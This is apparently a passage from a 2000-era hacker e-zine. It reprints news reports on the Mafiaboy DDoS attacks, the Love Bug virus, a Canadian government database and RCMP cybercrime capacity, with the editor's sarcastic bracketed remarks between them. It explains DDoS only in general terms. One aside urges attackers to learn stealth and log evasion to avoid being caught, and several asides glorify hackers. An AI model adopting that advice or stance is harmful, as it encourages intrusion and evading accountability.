Janet Reno and national security officials. + +[Is a hack attack the same as a DDoS attack?] + +Canada and the United States have promised to step up co-operation to fight +cybercrime. + +[I don't like cybercrime either. Well, the CyberCrime International Network +(CCi) was a pretty cool BBS message network during its time though.] + +A 15-year-old Montreal student using the name Mafiaboy was recently charged +with shutting down several prominent Internet sites, including CNN, Yahoo, +eBay, Amazon, Excite and ETrade. + +A Filipino student admitted this week he may have unleashed the "Love Bug" +virus, which crippled e-mail systems from the CIA to the British Parliament +and could cost governments and businesses up to $10 billion US. + +An editorial in a Manila newspaper cheered the student's destructive ingenuity +as a source of national pride. + +"yes, the Filipino can!" the Manila Standard wrote, under the headline, "The +country's first world-class hacker." + +That goes too far, McAulay said. + +[Why?] + +"Back in the '30s, we had gangsters that were folk heroes but they murdered +people," McAulay said. + +[And it's the same now, right? Hackers are gangsters. And they're heroes. +Hell, all of my heroes are hackers. Every last one of 'em. Even the dead +ones...] + +"These hackers are robbing the world community of billions of dollars. They +need to be brought fully to task." + +[Robbing the world community? How so?] + +Onel de Guzman emerged from hiding in Manila on Thursday to say he may have +accidentally released the malicious program. + +He wore dark glasses and covered his face with a handkerchief as he met +reporters, telling them "youthful exhuberance" may have been to blame for his +mistake. + +[Sometimes I'll wear dark glasses if I have a hangover. Anyone else do that?] + +The alarming speed with which the virus spread and the arrest of the Montreal +teenager in the attacks on prominent web sites underscores that borders mean +nothing to hackers, MacAulay said. + +[Just lines on a map. That's what I've always said anyway.] + +------------------------------------------------------------------------------- + +Canadians' privacy preserved +Federal government dismantles database tracking peoples' lives + +OTTAWA - The federal government, under attack for acting like "Big Brother," +is dismantling a massive database tracking the lives of ordinary Canadians. + +[They are Big Brother.] + +Human Resources Minister Jane Stewart announced Monday that her officials have +started to cut the computer links that collected information from other federal +departments and provincial governments. + +[Should we just take your word for it? Is that what you actually expect?] + +Critics have said the database -- with as many as 2,000 bits of information +about some 33 million Canadians -- was an invasion of privacy and could be +misused. + +[That's right people. The databases we've written about in the past do exist. +They're finally starting to admit to it. Could be misused? Where the Canadian +government is involved, misuse of information is an automatic.] + +Stewart said she believes the database has grown to the point that there's too +much information about individuals in one spot. + +[Way too much private information is in the hands of the government, period.] + +"I share the concerns that Canadians have about advancements and rapid changes +in technology," Stewart said. + +[Databases, personal profiles and dossiers are nothing new Stewart. They aren't +a new form of technology. They're invasive; morally and ethically wrong on all +levels though. And that's what concerns us.] + +"When we consider the file, it's clear, I think, to everybody that it's coming +to its limits and that rather than try to add to it, the right thing to do is +dismantle it." + +[No, add to it. Expand it. Make sure it includes which brand of toothpaste +we use, and how much. Again, do you actually think intelligent Canadians will +simply believe that the government is going to dismantle -- as in, delete, +destroy and remove -- their beloved database without anyone bearing witness to +the process? You may assume that we're all gullible and naive, but we aren't.] + +The announcement was a surprise because the minister had been staunchly +defending the database as an important research tool ever since its existence +came to light. + +[Research tool? Another blatant lie.] + +She said the data in it were used to make sure government programs were working. + +[Fuck, what a flimsy, pathetic, illogical excuse. That's one of the most +completely laughable things I've ever read.] + +Federal privacy commissioner Bruce Phillips revealed earlier this month that the +data bank holds information on everything from a person's education, marital +status, ethnic origin, disabilities, income tax, employment and social +assistance history. + +[And a hell of a lot more as well.] + +The news came as a shock to many Canadians. + +[To zombies, yes. To us, definitely not.] + +They complained to Stewart in phone calls and letters and swamped her department +with a staggering 18,000 requests to see their personal files. + +[How many requests were granted? There's no mention of that.] + +(In the first 15 years the database existed, only two people had asked to see +their own records in the so-called Longitudinal Labour Force File.) + +[That's bureaucratese for "Big Brother File".] + +Phillips said he was delighted with the government's change of heart, and the +new privacy protocol that the minister plans to put in place. + +[Of course he was. But I'm not delighted, to say the very least.] + +"This is a much different ballgame," he said. "We do not have a huge lake of +information, almost indiscriminantly gathered and dumped in there for possible +and undefined future use. We now have a rigorous, professional approach." + +[You can be rest assured that it still exists and hasn't been dismantled. +The government's smoke screen and hasty coverup hasn't fooled me. And I've +requested my file from the "dismantled" Big Bro database already.] + + TORSTAR NEWS SERVICE + +------------------------------------------------------------------------------- + +Ottawa pulls plug on Big Brother database +Canadians promised safeguards on data + +SHAWN McCARTHY +Parliamentary Bureau +Tuesday, May 30, 2000 + +Ottawa -- Human Resources Minister Jane Stewart yielded to public anger +yesterday and ordered the Big Brother database to be dismantled, backtracking +from her initial staunch defence of the program. + +After enduring months of opposition hammering over alleged mismanagement of +job-grant funding, Ms. Stewart moved quickly yesterday to end the outcry over +Ottawa's ability to track individuals in a single database. + +[She didn't move quickly, that's for damn sure.] + +The minister told a news conference that her department had already eliminated +computer links between its database and those of Canada Customs and Revenue +Agency and the provincial social-assistance offices. + +[Are we supposed to trust and believe Ms. Stewart?] + +Ms. Stewart said the government would continue to provide Canadians' personal +information to researchers to ensure its various programs are working. + +But the information will have no personal identifiers when it is provided to +researchers, there will be new measures to inform Canadians about the use of +their personal information, and she will recommend legal protections covering +the use of information by her department. + +[Yeah, right.] + +"From my point of view, the time is right, the time is now to dismantle that +file and to implement a new strategy so that we can continue to have access to +the information we need in an appropriate way and absolutely to ensure that +privacy of Canadians is paramount," Ms. Stewart told reporters. + +[When did the privacy of Canadians suddenly become paramount? That's the voice +of Big Brother if I ever heard it.] + +Privacy Commissioner Bruce Phillips, who revealed the existence of the +government's so-called Longitudinal Labour Force File in his annual report two +weeks ago, applauded the minister's action. The move "reflects her recognition +of the importance that Canadians place on their right to privacy in their +dealings with government," Mr. Phillips said. + +[Ask most Canadians and they'll say they've never heard of the database.] + +"I have no doubt that these steps will greatly reinforce public confidence in +HRDC's management of Canadians' personal information.'" + +[Trust me Bruce, they haven't reinforced or instilled any confidence in HRDC +or the Canadian government as a whole, in me. I have none. And I won't put +my trust in them, ever.] + +The database contained as many as 2,000 pieces of information on almost every +Canadian, including income-tax returns, child-benefit statements, immigration +and welfare files and records on employment insurance. + +News of its existence sparked anger among opposition MPs, the provinces and +individual Canadians. The Quebec government called for the elimination of the +database while B.C. Attorney-General Andrew Petter called the database "truly +scary." + +[Yes, it truly is that.] + +In the Commons yesterday, opposition MPs ridiculed Ms. Stewart's retreat, saying +the database should never have been constructed in the first place and was +dismantled only because 18,000 individuals have swamped the department with +requests to see their files. + +[That's exactly right. I just wish there was as much opposition to firearms +lisencing and registration.] + +"Why does it take constant hounding from Canadians before this minister will do +the right thing?" demanded Canadian Alliance MP Deborah Grey, the interim +opposition leader. + +She noted that Ms. Stewart had defended the government's use of a database, +saying the information was encrypted and that no laws had been broken. + +[Encrypted how, and with what? And who held the keys?] + +"Why was her database essential last week but it is a security risk this week?" +Ms. Grey asked. + +[Good question.] + +Ms. Stewart said the government was responding to concerns raised by +Mr. Phillips in his report, although the privacy commissioner had been privately +urging the government to dismantle the database for months and went public with +its existence only when negotiations hit a stalemate. + +[Going public was the only real option available.] + +The minister said the government will still respond to individual requests for +copies of a person's file. + +Individuals must have photo identification and two other pieces of ID when they +pick up their file once it's available at their local Human Resources office. + +After June 30, individuals will have to apply to both the Human Resources +department and the Canada Revenue agency to get their complete files. + +Copyright (C) 2000 Globe Interactive + +------------------------------------------------------------------------------- + +Future Shop e-mail hoax sends customers into panic + +An e-mail hoax warning that the Future Shop Ltd.'s entire credit card database +was broken into created panic among customers and widespread confusion in +Canada's banking industry. + +About 10,000 subscribers to the retailer's electronic newsletter received a +message Wednesday morning purportedly from president Kevin Layden claiming that +the company's credit card database was compromised. + +"If you have used a credit card on our website (sic) or in one of our stores in +the past three years you should contact the card issuer as soon as you can and +tell them to issue new account numbers and cancel the old ones," read the +e-mail, riddled with spelling mistakes including "fradulent." + +After reading the the (sic) message, Toronto resident Bill Mazanik promptly +called his bank to cancel his Visa card. + +[It seems like your own report has a few errors as well Canadian Press.] + +"The CIBC was taking this thing for real," said the retired information +technology consultant. + +"They just went through the process and canceled my numbers." + +When contacted by The Star Wednesday morning, a swamped CIBC service +representative confirmed that every second call she was taking was about the +Future Shop warning. + +"At this point we are cancelling and reissuing a new number and expiry date." + +By noon, the message was filtering out that the e-mail was phony. + +"The e-mail was not known to be a hoax for a couple of hours," explained +Christine Croucher, executive vice-president CIBC Visa. + +The real Kevin Layden said, from his Burnaby, B.C.-based headquarters, that he's +brought in the RCMP and formed an internal team to investigate. + +[Oh no, not the highly successful RCMP and a group of hired Future Shop goons.] + +"Absolutely none of our credit card databases have been accessed in any way, +shape or form," he insisted. + +[He seems very adamant about that.] + +The Future Shop, which hit $1.68 billion in sales last year, uses third-party +service providers to send out a biweekly e-mail bulletin to about 73,000 +customers. + +Someone hacked into one of those companies late Tuesday, accessing about 10,000 +e-mail addresses, Layden said. + +[Those damn hackers. They're at it again.] + +Future Shop is also getting unsolicited help from some tech-savvy customers who +are trying themselves to track down the perpetrator, said chief financial +officer Gary Patterson. + +[Tech-savvy customers and Future Shop just don't go together. And what do they +think they are anyway, vigilantes or something? It makes no sense.] + +"This type of stuff really gets people's backs up." + +[It was a hoax, nothing more. Don't take it so seriously. Instead of getting +your backs up, watch your backs next time.] + +The RCMP investigates about 150 hacker cases a year, and often the need to brag, +not computer wizardry, lets the police catches (sic) the crooks, said Paul +Teeple, with the RCMP's technical operations branch in Ottawa. + +[Yeah, that's why the RCMP sifts through IRC chat logs. That's how they "get +their man" in most cases. They rely on that, and only go after 15-year-olds. +No technical operations are ever involved.] + +The incident may hurt Future Shop's efforts to grow online sales. + +[Not likely. They have the zombie electronics industry in Canada cornered.] + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +Wednesday, June 07, 2000 +Mounties don't always get their cyberman: e-crime expert +Resources lacking +Peter Kuitenbrouwer +Financial Post + +The Royal Canadian Mounted Police has neither the skills nor the resources it +needs to fight Canada's growing problem with cybercrime, according to a computer +forensics specialist who quit the force's commercial crime section in Vancouver. + +[Well, we already knew they didn't possess the skills.] + +"Let's face it, the government has good intentions, but they can't move at the +speed of the Internet," said Rene Hamel, 38. "For me it's not a good enough +reason to stay behind." + +[Let's face it, our government *always* has good intentions. Just like they +did with the Big Brother database. They just get sidetracked.] + +During his years with the technological crime section, Mr. Hamel's worked ranged +from tracking online thieves to searching computers in the offices of Glen +Clark, the former premier of British Columbia. But he said he got sick of +pleading for resources that never came. A month ago, Mr. Hamel took a new job +with accounting giant KPMG in Toronto, where he is setting up a lab to +investigate electronic fraud. + +[You should've begged more often, and been more convincing then.] + +In Ottawa, Staff-Sgt. Andre Guertin of the RCMP agreed that years of +underfunding have left the Mounties scrambling to catch up with the high-tech +crooks. + +[The RCMP is always scrounging and scrambling for more funding.] + +"We're just coming off a number of years where we had deep cuts," Staff-Sgt. +Guertin said. But he added that of the $543-million in new funds for the force +approved in this year's federal budget, a chunk will go toward combating online +crime. + +[99% of those funds is earmarked for new uniforms.] + +"We expect to turn out 1,200 to 1,300 new Mounties this year," he said. + +[They just verified one of my theories. They *are* cloning them. No wonder +they all look the same. They breed like rabbits.] + +Inspector Ernie Malone, in charge of the RCMP commercial crime sector in +Vancouver, said Mr. Hamel is only one of many officers lured to the private +sector. + +[More money in the private sector. No uniform though.] + +"We are losing a good number of very senior people with expertise," he said. +"There's a tremendous demand for it in the high-tech sector. [But] there's +plenty of work to do in our area and the resources are coming." + +[Expertise? In what, arresting 15-year-old kids who brag on IRC?] + +Mr. Hamel had always wanted to be a cop. His father spent 33 years with the city +police in Victoriaville, Que. Mr. Hamel joined the RCMP and paid his dues in +British Columbia, working undercover on Vancouver's seedy East Hastings Street +and in the New Hazelton detachment, northeast of Prince Rupert. + +He spent his own money upgrading his computer skills with long-distance learning +courses and then joined the technological sector of the commercial crimes unit +in Surrey, B.C. He says he enjoyed the work, but didn't get the support he +needed from the force. + +[You should've requested a support bra then.] + +"I went to a course on computer forensics in Texas on my own money," he +recalled. "I brought back some software, and when the RCMP realized it would +save them some money, they decided to pay for my trip." + +[Hamel, how stupid are you?] + +So, just 4 1/2 years away from his pension -- which the RCMP pays on completion +of 20 years of service -- he quit. + +[That answers my question. Obviously you're very stupid.] + +These days, he works on the 33rd floor of Commerce Court West in Toronto and, +apart from getting lost in Toronto's labyrinth of underground tunnels, is +adapting quite well. His office is a jumble of computers with the cases removed +and stacks of hard drives seized during investigations, each wrapped in an +anti-static silver plastic bag. + +[It's a real mess, I can assure you.] + +Key to the work Mr. Hamel does with his partner, Scott Loveland, is software +that allows them to read deleted files that may still exist in the "slack space" +on computer hard drives. + +[And you rely on the stupidity of others in order to find evidence.] + +"Sometimes your computer will store deleted files in corners of your hard drive +that your system forgets about," he explains. "People don't realize how much of +their information is stored on their hard drive and they don't know about it." + +[Nobody knows about it, except for you. Right?] + +In one case, a software company in Western Canada hired KPMG to investigate +suspicions that a group of departed employees had stolen proprietary programs. + +"We went to four residences and took their computers and diskettes, CDs, Zip +Drives, Jazz drives and 35 or 40 hard drives," Mr. Loveland recalled. + +[You seem really proud of that.] + +The team found deleted material on the hard drive proving that programs had been +stolen and, sifting through deleted e-mails, "we also figured out that somebody +inside the company was still co-operating with the guys who left," Mr. Loveland +said. + +[Sounds like a big bust to me.] + +In another case where a company suspected an employee of disloyalty, Mr. Hamel +went into an office at night and made a copy of the staffer's computer hard +drive. "The person was building another business while using the company's +resources," Mr. Hamel said. "I found information in the slack space on his hard +drive." + +[How ingenious.] + +Yesterday, KPMG released a survey that showed many big Canadian firms are not +concerned with the threat of electronic fraud. In fact, the response rate -- +just 180 out of Canada's top 1,000 companies filled in the survey -- was the +lowest in the nine years KPMG has tracked corporate fraud. + +[Yeah, they're getting really lackadaisical about security. I know. Trust me.] + +Norm Inkster, president of KPMG's fraud branch and former commissioner of the +RCMP, said the survey shows Canadian firms are complacent when it comes to +e-commerce fraud. + +"We're going to have to do more to protect ourselves," Mr. Inkster said. + +[What a profound statement that is.] + +Copyright (C) Southam Inc. All rights reserved. + +------------------------------------------------------------------------------- + +From staff, wire reports. + +WOLFEBORO, New Hampshire -- Federal authorities arrested a 17-year-old New +Hampshire high school dropout Wednesday and charged him with hacking into a +California Web site. + +Dennis M. Moran, who calls himself "Coolio" on the Internet, was arrested at +his parents' home in Wolfeboro, New Hampshire, on felony charges for allegedly +gaining unauthorized access to a DARE.com computer system in Los Angeles. + +[snip] + +Pro-drug messages on anti-drug Web site Moran allegedly gained unauthorized +access to the anti-drug Web site on two occasions last November, New Hampshire +Attorney General Philip T. McLaughlin said. + +He said Moran allegedly defaced the site with pro-drug messages and images, +including one of Donald Duck with a hypodermic syringe in his arm. + +The Los Angeles Police Department and the Los Angeles division of the FBI +conducted the initial investigation. + +When they discovered that the computer intrusion at DARE had originated in New +Hampshire, they referred the case to the FBI's New England office and to New +Hampshire authorities, an FBI press release said. + +Teen may be tried as an adult + +Moran's home computer was confiscated several weeks ago by the FBI, an official +in Los Angeles said. + +Rather than seeking the extradition of a minor to California, authorities +charged Moran as an adult in New Hampshire, where he allegedly used his computer +to infiltrate the Web site. + +Moran may face more charges: It has been reported that someone using the name +"Coolio" and "Mafia Boy" used an Internet chat room to claim responsibility for +interruptions last month in the computer systems of yahoo.com, ebay.com, buy.com +and several other large Web sites. + +"Coolio," however, is a popular name on the Internet. Moran has denied +involvement in those attacks, referred to in the computer industry as +"distributed denial of service" attacks, or DDOS. + +But the charges against Moran filed Wednesday involved "unauthorized access" to +a computer system, and not a DDOS. + + CNN's Susan Reed contributed to this report + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +HACKERS TO BLAME? DOUBTFUL + +02/09/00 + +We feel sorry for the major Internet commerce sites that have been +inconvenienced by the Denial of Service attacks. Really, we do. But we cannot +permit them or anyone else to lay the blame on hackers. + +[Yeah, let's stop them from blaming hackers. Don't permit that.] + +So far, the corporate media has done a very bad job covering this story, blaming +hackers and in the next sentence admitting they have no idea who's behind it. +Since the ability to run a program (which is all this is) does not require any +hacking skills, claiming that hackers are behind it indicates some sort of +knowledge of the motives and people involved. + +This could be the work of someone who lost their life savings to electronic +commerce. Or maybe it's the work of communists. It could even be corporate +America itself! After all, who would be better served by a further denigration +of the hacker image with more restrictions on individual liberties? + +Let's look at the headlines: + +"Government sees cyber-attacks as disruption of commerce." + +"Justice Department wants more funds to fight cyber crime." + +[I've seen much better headlines than those.] + +Didn't take them long, did it? And later in the same story: "But the FBI may +never know who is responsible for the cyber-attacks, due to the difficulty in +tracing the electronic trails, a senior law enforcement source told CNN." + +How convenient. An unseen villain. No need for any actual FACTS to be revealed, +but plenty of blame to be cast on hackers everywhere. We find it to be a bit too +contrived. + +Whoever is responsible is either completely clueless or knows EXACTLY what +they're doing. It's the latter that should concern hackers everywhere. + + ---------------------- + +Number of times hackers were named or implied as culprits on these sites: + +cnn.com 14 +msnbc.com 13 +zdnet.com 4 +abcnews.com 0 + + Comments: Webmaster + + Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000 + + 2600 Enterprises, Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Denial of service hackers take on new targets +By D. Ian Hopper +CNN Interactive Technology Editor +February 9, 2000 +Web posted at: 5:46 p.m. EST (2246 GMT) + +(CNN) -- The denial of service (DoS) attacks Tuesday on major e-commerce Web +sites and CNN Interactive were a common type of cyber-attack, but one that is +normally used against Internet service providers rather than retail or news +organizations. + +[More DoS shit from a different source.] + +While it is a little more complicated than meets the eye, a DoS attack can be +avoided. + +A DoS attack is commonly referred to as a "hack" because it is a malicious +offensive against another computer system; but unlike most other hacks, it does +not involve the attacker gaining access or entry into the target server. +Instead, a DoS is a massive stream of information sent to a target with the +intention of flooding it until it crashes or can no longer take legitimate +traffic. + +[The media classifies and refers to everything as a "hack" though.] + +The information is frequently in the form of "pings," which are small packets of +data sent by one computer to another with the intention of checking to see if +the other computer is accessible. The target computer responds to the ping and +the connection is made. But if the pinger gives a false address, the target +computer can't return the ping to make the connection. In that case, the target +waits and finally gives up. In great amounts, this can overwhelm a server. + +Concerted effort + +A distributed DoS attack is a concerted effort to take down a target. Instead of +a one-to-one attack, many computers target a single one -- as would be necessary +with a target as large as eBay or Amazon. + +Besides the obvious tactic of having many users simultaneously flood a target, +certain publicly available programs can be used so that one user can perform a +distributed DoS. The programs are placed on compromised systems -- computers +that have been successfully entered by the attacker before. The attacker merely +needs to run a "trigger" program that tells the planted programs to begin their +assault on the target. That kind of attack is not only formidable, but very +difficult to trace back to the original source. + +The programs that execute distributed DoS attacks can be found on many hacker +Web sites in the United States, Russia, and several nations in between. Common +in the community, these programs are easy enough that even an inexperienced +tinkerer can use them. + +Beyond the program, though, a hacker also needs to have a great number of +compromised systems on which to place the satellite programs. According to +Carnegie Mellon University's CERT coordination center, which monitors and +advises system administrators on computer security, the systems used to execute +DoS attacks "are often compromised via well-known vulnerabilities." The group +urges administrators to update their systems with the latest patches and +workarounds. + +Also, many of these programs leave telltale signs that some say can be used to +block the malicious traffic before it becomes a problem. + +"These programs have known signatures and the servers should be able to filter +out that traffic," according to Space Rogue, the editor of the Hacker News +Network, a computer security site. "The servers could identify those IP +addresses (of the systems making the attack), then put those filters in place. +It should have been done before." + +Law enforcement stresses community security + +Ron Dick of the National Infrastructure Protection Center confirmed the idea of +many 'zombie' computers being directed by a single hacker during a press +conference updating the public on the investigation into the attacks. He also +mentioned two of the programs, 'Tribal Flood Net' and 'Trinoo' that are used in +these large-scale DoS strikes. + +Both programs, and many others, can be found on several Web sites and, according +to Dick, aren't very difficult to use. + +A 15-year-old kid could launch these attacks. It doesn't take a great deal of +sophistication to do," he said. + +These programs were found on many machines over the new year while making Y2K +fixes, but the NIPC and CERT have taken action. + +"We were able to develop tools to identify to see if those programs are residing +on your system," Dick said. Those tools can be found on the NIPC and CERT Web +sites. + +[Do you think Dick is any good? (you have a dirty mind)] + +While the victims can filter out the malicious data, Dick said the real problem +is taking care of those hidden programs on the machines carrying out the +attacks. + +'Magnifying glass burning a bug' + +Even filtering out the traffic can be futile if the attack is large enough, +according to Paul Holbrook, Director of Internet Technologies for CNN. CNN.com +was targeted late Tuesday. + +"In our case, what caused us trouble was not that we weren't filtering it out. +We were filtering it, but the problem was that the routers were so busy +filtering that that in itself compromised us. The routers still have to process +each packet. The cure was putting the filter on a bigger router outside of our +site," Holbrook said. + +The distributed nature of the attack made it especially difficult to ward off +the flood of data, Holbrook said, likening the mass assault to "a magnifying +glass burning a bug on a hot summer day." + +As to general Internet security, Holbrook echoes the sentiments of many network +gurus charged with protecting such a huge and diverse target. + +"The unfortunate truth is that it's an impossibility to ever completely close +everything. There are so many systems on the Internet that it's just too hard to +close them all." + +These incidents are yet another reminder of the holes in the Internet security +network, which administrators are constantly rushing to protect. Now, they're +rushing a bit faster. + +"It sure gives you a bad picture of Internet security today when you have five +major sites taken down in a span of 36 hours," Space Rogue said. + +------------------------------------------------------------------------------- + +Thursday, February 10, 2000 + +How Hackers Bombard Sites and Shut Them Down +By ANICK JESDANUN, +Associated Press + + NEW YORK-- This week's electronic assaults on high-profile Web sites direct +attention to a type of attack known to security experts for years. + + Called "denial of service," the attack involves flooding a site with so +much traffic that legitimate customers cannot get through. Traffic can be a +request to access the home page, or it can be blank--an envelope with nothing +inside, yet requiring effort to open. + + Some questions and answers about the cyber-attacks: + + * * * + Question: If these attacks have occurred for years, why are they getting +attention now? + Answer: Hackers have become more sophisticated and have developed programs +that automate such an attack. The programs direct tens or hundreds of computers +worldwide to send traffic to a specific site at once. That allows hackers to +overwhelm some prominent sites already designed to handle heavy traffic. + * * * + Q: How can hackers get hundreds of computer administrators to cooperate? + A: They don't. But some of their automated tools find weaknesses in +computer systems to plant the damaging program that will remain dormant until +the appointed time of attack. If the hackers route the program through someone +else's computer, it makes them harder to trace. + * * * + Q: What can sites do to prevent such attacks? + A: Little, according to Mark Zajicek, a team leader of the Computer +Emergency Response Team, a security organization at Carnegie Mellon University. +He said the focus instead must be on increasing the security in other computers +so that they cannot be commanded to launch such attacks. Once a site is +targeted, one recourse is to trace the traffic back to the third-party computers +and alert their administrators. The process can take hours. + * * * + Q: Do consumers have any recourse if such attacks disrupt online services +they use? + A: Generally, no. Online stock trading firms such as Datek, for instance, +have users sign contracts stipulating that the site is not liable for +technological disruptions beyond their control. + * * * + Q: So why can't sites simply accept traffic only from legitimate customers? + A: Even the process of determining whether traffic is legitimate uses +precious computing time. The site's Internet service provider might be able to +stop some traffic from reaching the site, but the traffic comes from various +locations and often carries fake return addresses, so it's hard to sort. + * * * + Q: Why are these attacks occurring? + A: Atty. Gen. Janet Reno said Wednesday that "they appear to be intended to +interfere with and disrupt legitimate electronic commerce." Investigators have +yet to determine whether a single individual or group is behind all the attacks. + * * * + Q: Are personal data at risk from such attacks? + A: There's no evidence that hackers gained access to the sites' internal +data. But Randy Sandone of Argus Systems Group in Savoy, Ill., warned that +denial-of-service attacks might one day be used as a decoy. While security +personnel are busy trying to block traffic, a hacker might try to gain access +to sensitive data. + * * * + +[That Q&A session was funny.] + +Copyright 2000 Los Angeles Times + +------------------------------------------------------------------------------- + +Thursday, February 10, 2000 +FBI Vows All-Out Effort to Catch Internet Attackers + +By GREG MILLER, CHARLES PILLER, Times Staff Writers + + FBI officials said Wednesday that they are launching the largest computer +crimes investigation ever to catch the perpetrators of a series of cyber-attacks +that have temporarily crippled some of the world's most popular Web sites. + + The attacks disrupted service for millions of Internet users by temporarily +overloading Web sites, starting with Yahoo on Monday, sweeping through others +including auction site Ebay on Tuesday, and Wednesday pummeling leading +financial sites such as E-Trade and Datek, plus the ZDNet news site. + + The aggressive government response, outlined by Atty. Gen. Janet Reno, +reflects not only the Internet's central role to the nation's economy, but a +sense among officials that it is also an increasingly important public +communications tool. + +[You need to be vigilant.] + + Authorities said they have not identified any suspects, and some FBI +officials speculated that the crimes could be the work of overseas terrorists +"trying to misuse the Internet to the detriment of the United States." + + "This is a wake-up call," said Commerce Secretary Bill Daley. "It's obvious +from the news of the last few days that [law enforcement] efforts have to be +expanded on." + + But underscoring the ease with which such crimes can be committed in the +Internet Age, computer security experts said that this massive Internet sabotage +may ultimately be traced to a single, gangly teenager typing away on an ordinary +PC. + + In fact, the federal probe is likely to focus on the murky world of +computer hackers, an underground populated mainly by loose bands of adolescent +males seeking virtual thrills and peer recognition. + + No group has claimed credit for these attacks, but their magnitude has +already earned the anonymous perpetrators a permanent place in the computer +crime pantheon. + + "This is much bigger than the hacking of . . . the White House Web site," +said a hacker using the name Weld Pond, who was one of the original members of a +Boston-based hacking group called Lopht. + + Nevertheless, he and other hackers expressed a certain amount of disdain +for the latest attacks, saying they were impressive for their audacity and +magnitude, but required little technological sophistication in an age when +hacking tools are as easy to find on the Internet as food recipes. + + "The technology is such that it could almost be one person, even a +14-year-old kid," said Weld, who requested anonymity and now works as a +researcher for a computer security firm called Atstake.com. "But it's probably a +small group of people. Typically, a lot of these things are just done for +bragging rights." + + At a news conference on Wednesday, Reno pledged a massive mobilization of +resources, including cooperative efforts with the U.S. intelligence community +and military investigators. + + "At this time we are not aware of the motives behind these attacks," Reno +said, "but they appear to be intended to interfere with, and to disrupt, +legitimate electronic commerce." + + Reno said the National Infrastructure Protection Center, a section of the +FBI, is working closely with agency field offices and specially trained +prosecutors around the country. She declined to say whether the agency has any +significant leads, but other federal officials privately said the attacks +appeared to have been "bounced" through computer networks in New York, Chicago +and Dallas. + + The attacks appear to be violations of the computer fraud and abuse act, a +federal statute that makes it a felony to cause damage to computers. Sentencing +guidelines call for a minimum of six months in jail for each count, and a +maximum of five years and fines of up to $250,000. Officials said each intrusion +could constitute a separate count. + + But even with this enormous commitment of resources by law enforcement, +many security experts remained skeptical that the individuals behind the attacks +will ever be caught, because the hacking technique used is extremely difficult +to trace. + + The attacks involved a technique known as "distributed denial of service" +in which a small army of computers is essentially enlisted against its will to +bombard a particular Web site with so many requests for information that the +site collapses under the load. + + Experts said the attacks probably began with the downloading of a hacking +tool that probes university, corporate and government networks for unprotected +machines. These machines are then instructed to coordinate the simultaneous +bombardment of a targeted site with service requests, thus overwhelming its +capacity. + + The sheer enormity of the attack means that hundreds and perhaps thousands +of computers were involved, experts said. + + The strategy takes advantage of hacking programs readily available at +numerous Web sites. Such attacks are nearly impossible to prevent and difficult +to trace because they come from disparate locations and carry fake return +addresses. + + Finding the perpetrators would require painstaking research that traces the +attacks back through every point of the Internet they crossed. "It's like a +package that was routed through different mailboxes," Weld Pond said. "You can't +look at the return address and expect it to take you to the original sender." + + Even extensive efforts to retrace the attacks could lead to a series of +dead ends if the perpetrators took measures to disguise their work. For that +reason, many security experts and law enforcement officials quietly hope that +the bragging-rights psychology of hackers--and typical clumsiness--may +eventually be the perpetrators' undoing. + + "From a technological standpoint, there's no reason why they have to get +caught," said Kevin Poulsen, who served five years in prison for hacking crimes +in California in the early 1990s but who now works for online security firm +SecurityFocus.com. "It depends on to what degree they screwed up." + +[Definitely. Leaving traces of evidence -- such as logs -- that can be used to +track it back to you is one thing. But, being stupid enough to setup and launch +any DDoS attack from your home system, using your own Internet Provider, as some +little kids are doing, ain't smart. Not at all. Instead of concentrating on +bragging on IRC, they should learn more about log files, remote hacking and +stealth measures to prevent being detected and evade ever being caught. But +then again, what the hell do I know? I'm not 15 anymore...] + + But if the people behind the attacks are caught, many believe it will be +because of human weaknesses, not technological ones. The hacking underground is +fueled by rivalries among groups and individuals seeking the recognition and +respect of their peers. The people who took down Yahoo, in other words, are +going to face enormous temptation to brag about it, even to their closest +allies. + + "Whoever did this, even though they didn't make a public statement, there +are a lot of people who know about it," Poulsen said. "And once the pressure is +on, someone is going to sing." + + In fact, the most prominent hacks in recent years have generally been +accompanied by attempts to take credit for them. Last year, for instance, dozens +of Web sites were defaced--including the FBI's in May--by groups that then +scrawled their monikers across the pages like graffiti artists. + +[Web site defacement, Distributed Denial of Service attacks... They're all the +same type of "hacks" perpetrated by "hackers", right media? Yeah, you're always +right. It's best not to even question your definitions anymore. Let the +propaganda machine, err, media machine, roll on.] + + Reno on Wednesday appealed to Congress to approve President Clinton's +request for $37 million in additional funds to help the FBI fight cyber-crime, +a request that was part of the administration's budget earlier this week. + + Indeed, this week's attacks serve as an ironic reminder of how Web sites +that often seem to be collecting mounds of information on everyday computer +users can be at a total loss when their sites are bombarded by intruders. + + Such attacks could become increasingly common, experts suggest, because +once hackers write software to invade Web sites in this manner, they post it +online where it can be easily downloaded and reused by others. + +[Why are malicious attacks by script kiddies and packet monkeys always being +associated and equated with hackers? That's the only question I have. Why?] + + "People who wrote the original code are probably sophisticated, but people +who use it don't have to be," said Chris Painter, an assistant U.S. attorney in +Los Angeles who has prosecuted a number of hacking crimes. + +[The people that write the code are *very* sophisticated. They're usually like +high priced whores, err, call girls... Almost never the sleezy type.] + + In contrast to computer viruses that may destroy software or data files, or +hackers looking for corporate secrets, these recent attacks did not compromise +user or company information. + +[Right. So, why are hackers automatically being blamed by default?] + + But the attacks still cause substantial damage to the affected companies-- +reducing consumer confidence in their services and, in some cases, disrupting +critical commercial transactions, such as online stock trading at E-Trade. On +Wednesday morning, E-Trade suffered an attack that blocked about 20% of its +users from making trades, the company said. + + E-commerce companies fear that such attacks are so easy to mount that they +will increase in the future. + + "A 15-year-old kid could launch these attacks. This is not something that +it takes a great deal of sophistication to do," said Ron Dick, chief of computer +investigations for the FBI. "Security in the Internet is a community effort. It +is not something that can be done by any one organization, any one federal +agency [or] the government itself. It is a partnership between all of us." + +[Sophistication is the new buzzword. Hackers Attack is still the old standard +catch phrase in use though.] + + * * * + + Hackers Attack + + Some hackers sabotage computer networks by gaining administrative access, +but the commercial Internet sites hacked this week were crippled by a "denial-of +-service attack." Here is how it works. + * * * + The hacker breaks into a large number of computers connected to a +high-bandwidth network. Corporate or government computers often fit this +description. + * * * + The hacker installs a utility that lies dormant and undetected on the +computers. + * * * + From a remote location, the hacker specifies a target network, such as +Yahoo, and activates the planted utility. That triggers a continuous, +unmanageable flood of access requests to the target. + * * * + Six Web sites that have been attacked recently are among the most popular +on the Internet: + + +Web site 